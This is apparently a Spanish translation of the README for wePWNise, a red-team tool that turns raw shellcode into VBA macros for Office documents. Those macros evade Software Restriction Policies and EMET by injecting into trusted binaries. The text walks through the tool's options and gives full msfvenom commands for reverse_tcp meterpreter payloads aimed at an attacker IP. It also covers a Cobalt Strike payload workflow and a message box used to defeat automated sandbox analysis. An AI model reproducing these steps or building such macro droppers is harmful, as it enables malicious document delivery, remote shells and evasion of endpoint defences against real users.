
WePWNise genera código VBA independiente de la arquitectura para ser utilizado en documentos o plantillas de Office y automatiza la evasión del control de aplicaciones y el software de mitigación de exploits.
wePWNise es un script Python de prueba de concepto que genera código VBA que puede usarse en macros o plantillas de Office. Fue diseñado pensando en la automatización e integración, apuntando a escenarios de entornos restringidos. La herramienta enumera las Políticas de Restricción de Software (SRPs) y las mitigaciones de EMET, e identifica dinámicamente binarios seguros para inyectar payloads. wePWNise se integra con marcos de explotación existentes (p. ej., Metasploit, Cobalt Strike) y también acepta cualquier payload personalizado en formato raw.
Para empezar a usar wePWNise, primero eche un vistazo a las opciones que admite:
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help show this help message and exit
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inject into 64 Bit. Set to False when delivering x86
payloads only. Default is True
--out <output_file> File to output the VBA macro to
--msgbox Present messagebox to prevent automated analysis.
Default is True.
--msg <window_message>
Custom message to present the victim if --msgbox is
set to True
wePWNise requiere payloads raw de 32 y 64 bits para poder entregar el tipo apropiado cuando llega a un objetivo desconocido. Sin embargo, si solo se apunta a una arquitectura x86, se debe proporcionar un payload de 64 bits ficticio para reemplazar el código faltante.
Para derrotar ciertas configuraciones de análisis automatizado, se abre un cuadro de mensaje (message box) al ejecutar el código. El texto del cuadro de mensaje se puede modificar definiendo su valor en el parámetro --msg. Para deshabilitar esta funcionalidad, establezca el parámetro --msgbox a False.
Debido a las condiciones de rendimiento que pueden introducirse como resultado de políticas largas de SRPs/EMET, wePWNise lee dos archivos de configuración (binary-paths.txt y directory-paths.txt) que contienen una lista de ejecutables y directorios que tienen menos probabilidades de ser monitoreados, para que se revisen primero. Al editar el contenido de esos archivos, el usuario puede definir sus propias opciones. Si los archivos están vacíos, wePWNise comenzará directamente a leer las políticas de SRPs/EMET tal como se definen en el Registro y tomará su decisión de inyección basándose únicamente en la información recuperada.
Las siguientes secciones describen algunos ejemplos básicos de uso de wePWNise.
Primero, genere los payloads para ambas arquitecturas x86 y x64 en formato raw y asegúrese de que los oyentes de Metasploit estén configurados adecuadamente.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
Luego, apunte wePWNise a los payloads generados y dirija la salida a msf_wepwn.txt
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
Para generar un payload raw en Cobalt Strike, navegue al siguiente menú y desde el menú desplegable Output seleccione el formato Raw. Repita el proceso y habilite la casilla x64 para producir un payload de 64 bits.
Attacks > Packages > Payload Generator
Ingrese los payloads generados en wePWNise para generar el código VBA.
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
En ciertos casos puede ocurrir que solo esté disponible un payload x86. Dado que wePWNise espera tanto payloads de 32 bits como de 64 bits, para deshabilitar la inyección de 64 bits cree un archivo ficticio de 64 bits y establezca el parámetro --inject64 a False.
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
De manera similar, para generar solo payloads de 64 bits, cree un archivo ficticio x86 y suminístrelo en el parámetro de línea de comandos -i86 de wePWNise.
wePWNise se publica bajo la Licencia BSD de 3 cláusulas y es mantenido por MWR InfoSecurity
Esta herramienta fue desarrollada originalmente por Vincent Yiu (@vysecurity).